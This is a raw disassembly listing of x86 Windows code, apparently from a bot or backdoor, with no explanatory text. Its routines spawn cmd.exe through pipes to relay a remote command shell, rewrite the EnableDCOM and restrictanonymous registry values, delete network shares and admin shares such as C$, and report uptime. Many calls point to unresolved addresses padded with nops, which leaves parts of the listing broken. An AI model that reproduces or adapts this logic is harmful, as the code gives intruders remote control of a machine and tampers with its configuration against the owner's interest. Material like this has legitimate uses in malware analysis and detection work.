push ebp mov ebp, esp sub esp, 218h mov eax, [ebp+arg_0] mov [ebp+var_20C], eax loc_41D31F: ; CODE XREF: sub_41D30D+ECj ; sub_41D30D+1A1j push 1 pop eax test eax, eax jz loc_41D4B3 and [ebp+var_210], 0 push 200h push 0 lea eax, [ebp+var_208] push eax call sub_421410 add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_208] push eax push dword_4E9150 nop call near ptr 290093Eh test eax, eax jnz short loc_41D397 push offset unk_44F64C push offset dword_4E915C push dword_4E9190 call sub_41D286 add esp, 0Ch push [ebp+var_20C] call sub_40D802 pop ecx push 1 call near ptr 2800000h nop loc_41D397: ; CODE XREF: sub_41D30D+5Cj cmp [ebp+var_4], 0 jnz short loc_41D3FE lea eax, [ebp+var_218] push eax push dword_4E914C nop call near ptr 2900504h test eax, eax jz short loc_41D3F1 cmp [ebp+var_218], 103h jz short loc_41D3F1 call sub_41D208 push offset unk_44F67C push offset dword_4E915C push dword_4E9190 call sub_41D286 add esp, 0Ch push [ebp+var_20C] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h loc_41D3F1: ; CODE XREF: sub_41D30D+A5j ; sub_41D30D+B1j push 0Ah nop call near ptr 27A0000h jmp loc_41D31F ; --------------------------------------------------------------------------- loc_41D3FE: ; CODE XREF: sub_41D30D+8Ej and [ebp+var_214], 0 jmp short loc_41D414 ; --------------------------------------------------------------------------- loc_41D407: ; CODE XREF: sub_41D30D:loc_41D43Ej mov eax, [ebp+var_214] inc eax mov [ebp+var_214], eax loc_41D414: ; CODE XREF: sub_41D30D+F8j mov eax, [ebp+var_214] cmp eax, [ebp+var_4] jnb short loc_41D440 mov eax, [ebp+var_214] movsx eax, [ebp+eax+var_208] cmp eax, 0Ah jnz short loc_41D43E mov [ebp+var_210], 1 jmp short loc_41D440 ; --------------------------------------------------------------------------- loc_41D43E: ; CODE XREF: sub_41D30D+123j jmp short loc_41D407 ; --------------------------------------------------------------------------- loc_41D440: ; CODE XREF: sub_41D30D+110j ; sub_41D30D+12Fj cmp [ebp+var_210], 0 jz short loc_41D455 mov eax, [ebp+var_214] inc eax mov [ebp+var_4], eax jmp short loc_41D45C ; --------------------------------------------------------------------------- loc_41D455: ; CODE XREF: sub_41D30D+13Aj mov [ebp+var_4], 200h loc_41D45C: ; CODE XREF: sub_41D30D+146j push 200h push 0 lea eax, [ebp+var_208] push eax call sub_421410 add esp, 0Ch push 0 lea eax, [ebp+var_8] push eax push [ebp+var_4] lea eax, [ebp+var_208] push eax push dword_4E9150 nop call near ptr 28108CCh test eax, eax jnz short loc_41D494 jmp short loc_41D4B3 ; --------------------------------------------------------------------------- loc_41D494: ; CODE XREF: sub_41D30D+183j lea eax, [ebp+var_208] push eax push offset dword_4E915C push dword_4E9190 call sub_41D286 add esp, 0Ch jmp loc_41D31F ; --------------------------------------------------------------------------- loc_41D4B3: ; CODE XREF: sub_41D30D+17j ; sub_41D30D+185j push offset unk_44F6A4 push offset dword_4E915C push dword_4E9190 call sub_41D286 add esp, 0Ch push [ebp+var_20C] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h leave retn 4 sub_41D30D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4E3 proc near ; CODE XREF: sub_4021E5+311Cp var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_364 = byte ptr -364h var_360 = dword ptr -360h var_35C = byte ptr -35Ch var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_128 = dword ptr -128h var_124 = word ptr -124h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 37Ch call sub_41D208 push 0 lea eax, [ebp+var_104] push eax push 104h push 0 push offset aCmd_exe_0 ; "cmd.exe" push 0 call dword_4E17BC ; SearchPathA test eax, eax jnz short loc_41D51A or eax, 0FFFFFFFFh jmp locret_41D75D ; --------------------------------------------------------------------------- loc_41D51A: ; CODE XREF: sub_41D4E3+2Dj mov [ebp+var_110], 0Ch mov [ebp+var_108], 1 and [ebp+var_10C], 0 push 0 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_158] push eax call near ptr 2830000h nop test eax, eax jnz short loc_41D55E or eax, 0FFFFFFFFh jmp locret_41D75D ; --------------------------------------------------------------------------- loc_41D55E: ; CODE XREF: sub_41D4E3+71j push 0 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_360] push eax lea eax, [ebp+var_378] push eax nop call near ptr 2830000h test eax, eax jnz short loc_41D587 or eax, 0FFFFFFFFh jmp locret_41D75D ; --------------------------------------------------------------------------- loc_41D587: ; CODE XREF: sub_41D4E3+9Aj push 3 push 0 push 0 push offset dword_4E9154 nop call near ptr 28205DBh push eax push [ebp+var_360] nop call near ptr 28205DBh push eax call near ptr 2820000h nop test eax, eax jnz short loc_41D5B8 or eax, 0FFFFFFFFh jmp locret_41D75D ; --------------------------------------------------------------------------- loc_41D5B8: ; CODE XREF: sub_41D4E3+CBj push 10h push 0 lea eax, [ebp+var_374] push eax call sub_421410 add esp, 0Ch push 44h push 0 lea eax, [ebp+var_154] push eax call sub_421410 add esp, 0Ch mov [ebp+var_154], 44h mov [ebp+var_128], 101h and [ebp+var_124], 0 mov eax, [ebp+var_378] mov [ebp+var_11C], eax mov eax, [ebp+var_15C] mov [ebp+var_118], eax mov eax, [ebp+var_15C] mov [ebp+var_114], eax lea eax, [ebp+var_374] push eax lea eax, [ebp+var_154] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset dword_4E919C lea eax, [ebp+var_104] push eax call near ptr 278056Fh nop test eax, eax jnz short loc_41D656 or eax, 0FFFFFFFFh jmp locret_41D75D ; --------------------------------------------------------------------------- loc_41D656: ; CODE XREF: sub_41D4E3+169j push [ebp+var_378] nop call near ptr 27800D6h mov eax, [ebp+var_158] mov dword_4E9150, eax mov eax, [ebp+var_360] mov dword_4E9158, eax mov eax, [ebp+var_374] mov dword_4E914C, eax push [ebp+var_370] nop call near ptr 27800D6h mov eax, [ebp+arg_0] mov dword_4E9190, eax cmp [ebp+arg_4], 0 jz short loc_41D6AE push [ebp+arg_4] push offset dword_4E915C call sub_4219C0 pop ecx pop ecx jmp short loc_41D6BF ; --------------------------------------------------------------------------- loc_41D6AE: ; CODE XREF: sub_41D4E3+1B8j push offset dword_4E91A0 push offset dword_4E915C call sub_4219C0 pop ecx pop ecx loc_41D6BF: ; CODE XREF: sub_41D4E3+1C9j push 0 push 0Ah push offset unk_44F6DC call sub_40D32A add esp, 0Ch mov [ebp+var_37C], eax mov eax, [ebp+var_37C] imul eax, 234h mov ecx, [ebp+var_36C] mov dword_454620[eax], ecx lea eax, [ebp+var_364] push eax push 0 push [ebp+var_37C] push offset sub_41D30D push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_37C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_37C] imul eax, 234h cmp dword_45462C[eax], 0 jnz short loc_41D75B call near ptr 27A0A66h nop push eax push offset unk_44F700 lea eax, [ebp+var_35C] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_35C] push eax call sub_4173DC pop ecx loc_41D75B: ; CODE XREF: sub_41D4E3+24Ej xor eax, eax locret_41D75D: ; CODE XREF: sub_41D4E3+32j ; sub_41D4E3+76j ... leave retn sub_41D4E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D75F proc near ; DATA XREF: sub_4021E5+1C66o var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 9Ch push esi push edi mov esi, [ebp+arg_0] push 26h pop ecx lea edi, [ebp+var_9C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+94h], 1 cmp [ebp+var_14], 0 jz short loc_41D7AE push [ebp+var_C] push [ebp+var_10] lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_41D7E0 add esp, 10h jmp short loc_41D7C9 ; --------------------------------------------------------------------------- loc_41D7AE: ; CODE XREF: sub_41D75F+30j push [ebp+var_C] push [ebp+var_10] lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_41DC42 add esp, 10h loc_41D7C9: ; CODE XREF: sub_41D75F+4Dj push [ebp+var_18] call sub_40D802 pop ecx push 0 call near ptr 2800000h nop pop edi pop esi leave retn 4 sub_41D75F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7E0 proc near ; CODE XREF: sub_41D75F+45p var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 22Ch cmp dword_4E17D0, 0 jnz loc_41D962 lea eax, [ebp+var_204] push eax push 2001Fh push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call dword_4E1770 ; RegOpenKeyExA test eax, eax jnz short loc_41D889 mov ax, word_44F778 mov [ebp+var_208], ax lea eax, [ebp+var_208] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_208] push eax push 1 push 0 push offset aEnabledcom ; "EnableDCOM" push [ebp+var_204] call dword_4E1724 ; RegSetValueExA test eax, eax jz short loc_41D868 push offset dword_44F788 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41D87B ; --------------------------------------------------------------------------- loc_41D868: ; CODE XREF: sub_41D7E0+71j push offset dword_44F7AC lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41D87B: ; CODE XREF: sub_41D7E0+86j push [ebp+var_204] call dword_4E16DC ; RegCloseKey jmp short loc_41D89C ; --------------------------------------------------------------------------- loc_41D889: ; CODE XREF: sub_41D7E0+36j push offset dword_44F7CC lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41D89C: ; CODE XREF: sub_41D7E0+A7j cmp [ebp+arg_C], 0 jnz short loc_41D8BC push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41D8BC: ; CODE XREF: sub_41D7E0+C0j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx lea eax, [ebp+var_204] push eax push 0F003Fh push 0 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push 80000002h call dword_4E1770 ; RegOpenKeyExA test eax, eax jnz short loc_41D94D mov [ebp+var_20C], 1 push 4 lea eax, [ebp+var_20C] push eax push 4 push 0 push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_204] call dword_4E1724 ; RegSetValueExA test eax, eax jz short loc_41D92C push offset dword_44F810 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41D93F ; --------------------------------------------------------------------------- loc_41D92C: ; CODE XREF: sub_41D7E0+135j push offset dword_44F84C lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41D93F: ; CODE XREF: sub_41D7E0+14Aj push [ebp+var_204] call dword_4E16DC ; RegCloseKey jmp short loc_41D960 ; --------------------------------------------------------------------------- loc_41D94D: ; CODE XREF: sub_41D7E0+109j push offset dword_44F880 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41D960: ; CODE XREF: sub_41D7E0+16Bj jmp short loc_41D975 ; --------------------------------------------------------------------------- loc_41D962: ; CODE XREF: sub_41D7E0+10j push offset dword_44F8BC lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41D975: ; CODE XREF: sub_41D7E0:loc_41D960j cmp [ebp+arg_C], 0 jnz short loc_41D995 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41D995: ; CODE XREF: sub_41D7E0+199j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx cmp dword_4E17F8, 0 jnz loc_41DBFD and [ebp+var_21C], 0 and [ebp+var_224], 0 and [ebp+var_214], 0 loc_41D9C4: ; CODE XREF: sub_41D7E0+402j lea eax, [ebp+var_214] push eax lea eax, [ebp+var_224] push eax lea eax, [ebp+var_21C] push eax push 0FFFFFFFFh lea eax, [ebp+var_218] push eax push 1F6h push 0 call dword_4E1644 mov [ebp+var_220], eax cmp [ebp+var_220], 0 jz short loc_41DA0E cmp [ebp+var_220], 0EAh jnz loc_41DB1B loc_41DA0E: ; CODE XREF: sub_41D7E0+21Cj mov eax, [ebp+var_218] mov [ebp+var_210], eax mov [ebp+var_228], 1 jmp short loc_41DA33 ; --------------------------------------------------------------------------- loc_41DA26: ; CODE XREF: sub_41D7E0+325j mov eax, [ebp+var_228] inc eax mov [ebp+var_228], eax loc_41DA33: ; CODE XREF: sub_41D7E0+244j mov eax, [ebp+var_228] cmp eax, [ebp+var_21C] ja loc_41DB0A mov eax, [ebp+var_210] push dword ptr [eax] call sub_424570 pop ecx mov ecx, [ebp+var_210] mov ecx, [ecx] movzx eax, word ptr [ecx+eax*2-2] cmp eax, 24h jnz loc_41DAF6 mov eax, [ebp+var_210] push dword ptr [eax] call sub_41B5D2 pop ecx push eax push 0 call sub_41B724 pop ecx pop ecx test eax, eax jnz short loc_41DAA8 mov eax, [ebp+var_210] push dword ptr [eax] push offset dword_44F8EC push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h jmp short loc_41DAC9 ; --------------------------------------------------------------------------- loc_41DAA8: ; CODE XREF: sub_41D7E0+2A3j mov eax, [ebp+var_210] push dword ptr [eax] push offset dword_44F910 push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h loc_41DAC9: ; CODE XREF: sub_41D7E0+2C6j cmp [ebp+arg_C], 0 jnz short loc_41DAE9 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41DAE9: ; CODE XREF: sub_41D7E0+2EDj lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx loc_41DAF6: ; CODE XREF: sub_41D7E0+283j mov eax, [ebp+var_210] add eax, 28h mov [ebp+var_210], eax jmp loc_41DA26 ; --------------------------------------------------------------------------- loc_41DB0A: ; CODE XREF: sub_41D7E0+25Fj push [ebp+var_218] call dword_4E1790 jmp loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DB1B: ; CODE XREF: sub_41D7E0+228j and [ebp+var_22C], 0 jmp short loc_41DB31 ; --------------------------------------------------------------------------- loc_41DB24: ; CODE XREF: sub_41D7E0+3F3j mov eax, [ebp+var_22C] inc eax mov [ebp+var_22C], eax loc_41DB31: ; CODE XREF: sub_41D7E0+342j cmp [ebp+var_22C], 4 jnb loc_41DBD8 mov eax, [ebp+var_22C] push off_44F738[eax*8] push 0 call sub_41B724 pop ecx pop ecx test eax, eax jnz short loc_41DB80 mov eax, [ebp+var_22C] push off_44F738[eax*8] push offset dword_44F93C push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h jmp short loc_41DBA6 ; --------------------------------------------------------------------------- loc_41DB80: ; CODE XREF: sub_41D7E0+376j mov eax, [ebp+var_22C] push off_44F738[eax*8] push offset dword_44F960 push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h loc_41DBA6: ; CODE XREF: sub_41D7E0+39Ej cmp [ebp+arg_C], 0 jnz short loc_41DBC6 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41DBC6: ; CODE XREF: sub_41D7E0+3CAj lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx jmp loc_41DB24 ; --------------------------------------------------------------------------- loc_41DBD8: ; CODE XREF: sub_41D7E0+336j ; sub_41D7E0+358j cmp [ebp+var_220], 0EAh jz loc_41D9C4 push offset dword_44F98C lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41DC10 ; --------------------------------------------------------------------------- loc_41DBFD: ; CODE XREF: sub_41D7E0+1C9j push offset dword_44F9B4 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41DC10: ; CODE XREF: sub_41D7E0+41Bj cmp [ebp+arg_C], 0 jnz short loc_41DC30 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41DC30: ; CODE XREF: sub_41D7E0+434j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx push 1 pop eax leave retn sub_41D7E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC42 proc near ; CODE XREF: sub_41D75F+62p var_230 = byte ptr -230h var_224 = byte ptr -224h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = byte ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 230h cmp dword_4E17D0, 0 jnz loc_41DDC1 lea eax, [ebp+var_204] push eax push 2001Fh push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call dword_4E1770 ; RegOpenKeyExA test eax, eax jnz short loc_41DCEB mov ax, word_44F9E4 mov [ebp+var_208], ax lea eax, [ebp+var_208] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_208] push eax push 1 push 0 push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_204] call dword_4E1724 ; RegSetValueExA test eax, eax jz short loc_41DCCA push offset dword_44F9F4 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41DCDD ; --------------------------------------------------------------------------- loc_41DCCA: ; CODE XREF: sub_41DC42+71j push offset dword_44FA18 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41DCDD: ; CODE XREF: sub_41DC42+86j push [ebp+var_204] call dword_4E16DC ; RegCloseKey jmp short loc_41DCFE ; --------------------------------------------------------------------------- loc_41DCEB: ; CODE XREF: sub_41DC42+36j push offset dword_44FA34 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41DCFE: ; CODE XREF: sub_41DC42+A7j cmp [ebp+arg_C], 0 jnz short loc_41DD1E push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41DD1E: ; CODE XREF: sub_41DC42+C0j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx lea eax, [ebp+var_204] push eax push 0F003Fh push 0 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push 80000002h call dword_4E1770 ; RegOpenKeyExA test eax, eax jnz short loc_41DDAC and [ebp+var_20C], 0 push 4 lea eax, [ebp+var_20C] push eax push 4 push 0 push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_204] call dword_4E1724 ; RegSetValueExA test eax, eax jz short loc_41DD8B push offset dword_44FA78 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41DD9E ; --------------------------------------------------------------------------- loc_41DD8B: ; CODE XREF: sub_41DC42+132j push offset dword_44FAB8 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41DD9E: ; CODE XREF: sub_41DC42+147j push [ebp+var_204] call dword_4E16DC ; RegCloseKey jmp short loc_41DDBF ; --------------------------------------------------------------------------- loc_41DDAC: ; CODE XREF: sub_41DC42+109j push offset dword_44FAF0 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41DDBF: ; CODE XREF: sub_41DC42+168j jmp short loc_41DDD4 ; --------------------------------------------------------------------------- loc_41DDC1: ; CODE XREF: sub_41DC42+10j push offset dword_44FB2C lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41DDD4: ; CODE XREF: sub_41DC42:loc_41DDBFj cmp [ebp+arg_C], 0 jnz short loc_41DDF4 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41DDF4: ; CODE XREF: sub_41DC42+196j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx cmp dword_4E17F8, 0 jnz loc_41E030 and [ebp+var_218], 0 jmp short loc_41DE24 ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41DC42+292j mov eax, [ebp+var_218] inc eax mov [ebp+var_218], eax loc_41DE24: ; CODE XREF: sub_41DC42+1D3j cmp [ebp+var_218], 2 jnb loc_41DED9 mov eax, [ebp+var_218] push dword_44F73C[eax*8] mov eax, [ebp+var_218] push off_44F738[eax*8] push 0 call sub_41B654 add esp, 0Ch test eax, eax jnz short loc_41DE81 mov eax, [ebp+var_218] push off_44F738[eax*8] push offset dword_44FB5C push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h jmp short loc_41DEA7 ; --------------------------------------------------------------------------- loc_41DE81: ; CODE XREF: sub_41DC42+215j mov eax, [ebp+var_218] push off_44F738[eax*8] push offset dword_44FB7C push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h loc_41DEA7: ; CODE XREF: sub_41DC42+23Dj cmp [ebp+arg_C], 0 jnz short loc_41DEC7 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41DEC7: ; CODE XREF: sub_41DC42+269j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx jmp loc_41DE17 ; --------------------------------------------------------------------------- loc_41DED9: ; CODE XREF: sub_41DC42+1E9j nop call near ptr 2900D54h mov [ebp+var_214], eax mov [ebp+var_210], 41h jmp short loc_41DF0A ; --------------------------------------------------------------------------- loc_41DEEE: ; CODE XREF: sub_41DC42:loc_41E016j mov al, [ebp+var_210] add al, 1 mov [ebp+var_210], al mov eax, [ebp+var_214] shr eax, 1 mov [ebp+var_214], eax loc_41DF0A: ; CODE XREF: sub_41DC42+2AAj cmp [ebp+var_214], 0 jz loc_41E01B mov eax, [ebp+var_214] and eax, 1 cmp eax, 1 jnz loc_41E016 movsx eax, [ebp+var_210] cmp eax, 41h jz loc_41E016 movsx eax, [ebp+var_210] push eax push offset aC_4 ; "%c$" push 0Ah lea eax, [ebp+var_224] push eax call sub_421B90 add esp, 10h movsx eax, [ebp+var_210] push eax push offset aC_5 ; "%c:\\" push 0Ah lea eax, [ebp+var_230] push eax call sub_421B90 add esp, 10h lea eax, [ebp+var_230] push eax call dword_4E1760 ; GetDriveTypeA cmp eax, 3 jnz loc_41E016 lea eax, [ebp+var_230] push eax lea eax, [ebp+var_224] push eax push 0 call sub_41B654 add esp, 0Ch test eax, eax jnz short loc_41DFC9 lea eax, [ebp+var_224] push eax push offset dword_44FBB0 push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h jmp short loc_41DFE9 ; --------------------------------------------------------------------------- loc_41DFC9: ; CODE XREF: sub_41DC42+363j lea eax, [ebp+var_224] push eax push offset dword_44FBD0 push 200h lea eax, [ebp+var_200] push eax call sub_421B90 add esp, 10h loc_41DFE9: ; CODE XREF: sub_41DC42+385j cmp [ebp+arg_C], 0 jnz short loc_41E009 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41E009: ; CODE XREF: sub_41DC42+3ABj lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx loc_41E016: ; CODE XREF: sub_41DC42+2E1j ; sub_41DC42+2F1j ... jmp loc_41DEEE ; --------------------------------------------------------------------------- loc_41E01B: ; CODE XREF: sub_41DC42+2CFj push offset dword_44FBF8 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41E043 ; --------------------------------------------------------------------------- loc_41E030: ; CODE XREF: sub_41DC42+1C6j push offset dword_44FC1C lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_41E043: ; CODE XREF: sub_41DC42+3ECj cmp [ebp+arg_C], 0 jnz short loc_41E063 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h loc_41E063: ; CODE XREF: sub_41DC42+405j lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx push 1 pop eax leave retn sub_41DC42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E075 proc near ; CODE XREF: sub_4021E5+260Ap ; sub_4021E5+2F6Fp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h nop call near ptr 27B0DBCh xor edx, edx mov ecx, 3E8h div ecx sub eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_8], eax mov eax, [ebp+var_4] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_C], eax mov eax, [ebp+var_4] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_10], eax push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push offset aDdDhDm ; "%dd %dh %dm" push 32h push offset dword_4E91A4 call sub_421B90 add esp, 18h mov eax, offset dword_4E91A4 leave retn sub_41E075 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 98h and dword ptr [ebp-4], 0 mov dword ptr [ebp-98h], 94h lea eax, [ebp-98h] push eax nop call near ptr 27F0576h test eax, eax jz loc_41E1F0 cmp dword ptr [ebp-94h], 4 jnz short loc_41E163 cmp dword ptr [ebp-90h], 0 jnz short loc_41E163 cmp dword ptr [ebp-88h], 1 jnz short loc_41E14E mov dword ptr [ebp-4], 1 loc_41E14E: ; CODE XREF: .XComp0:0041E145j cmp dword ptr [ebp-88h], 2 jnz short loc_41E15E mov dword ptr [ebp-4], 1 loc_41E15E: ; CODE XREF: .XComp0:0041E155j jmp loc_41E1EE ; --------------------------------------------------------------------------- loc_41E163: ; CODE XREF: .XComp0:0041E133j ; .XComp0:0041E13Cj cmp dword ptr [ebp-94h], 4 jnz short loc_41E17E cmp dword ptr [ebp-90h], 0Ah jnz short loc_41E17E mov dword ptr [ebp-4], 2 jmp short loc_41E1EE ; --------------------------------------------------------------------------- loc_41E17E: ; CODE XREF: .XComp0:0041E16Aj ; .XComp0:0041E173j cmp dword ptr [ebp-94h], 4 jnz short loc_41E199 cmp dword ptr [ebp-90h], 5Ah jnz short loc_41E199 mov dword ptr [ebp-4], 3 jmp short loc_41E1EE ; --------------------------------------------------------------------------- loc_41E199: ; CODE XREF: .XComp0:0041E185j ; .XComp0:0041E18Ej cmp dword ptr [ebp-94h], 5 jnz short loc_41E1B4 cmp dword ptr [ebp-90h], 0 jnz short loc_41E1B4 mov dword ptr [ebp-4], 2 jmp short loc_41E1EE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: .XComp0:0041E1A0j ; .XComp0:0041E1A9j cmp dword ptr [ebp-94h], 5 jnz short loc_41E1CF cmp dword ptr [ebp-90h], 1 jnz short loc_41E1CF mov dword ptr [ebp-4], 3 jmp short loc_41E1EE ; --------------------------------------------------------------------------- loc_41E1CF: ; CODE XREF: .XComp0:0041E1BBj ; .XComp0:0041E1C4j cmp dword ptr [ebp-94h], 5 jnz short loc_41E1EA cmp dword ptr [ebp-90h], 2 jnz short loc_41E1EA mov dword ptr [ebp-4], 7 jmp short loc_41E1EE ; --------------------------------------------------------------------------- loc_41E1EA: ; CODE XREF: .XComp0:0041E1D6j ; .XComp0:0041E1DFj and dword ptr [ebp-4], 0 loc_41E1EE: ; CODE XREF: .XComp0:loc_41E15Ej ; .XComp0:0041E17Cj ... jmp short loc_41E1F4 ; --------------------------------------------------------------------------- loc_41E1F0: ; CODE XREF: .XComp0:0041E126j and dword ptr [ebp-4], 0 loc_41E1F4: ; CODE XREF: .XComp0:loc_41E1EEj mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1F9 proc near ; CODE XREF: sub_41E318+332p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_41E1FF: ; CODE XREF: sub_41E1F9+3Fj ; sub_41E1F9+4Aj call sub_41E74A mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h nop call near ptr 27A0000h call sub_41E74A sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] 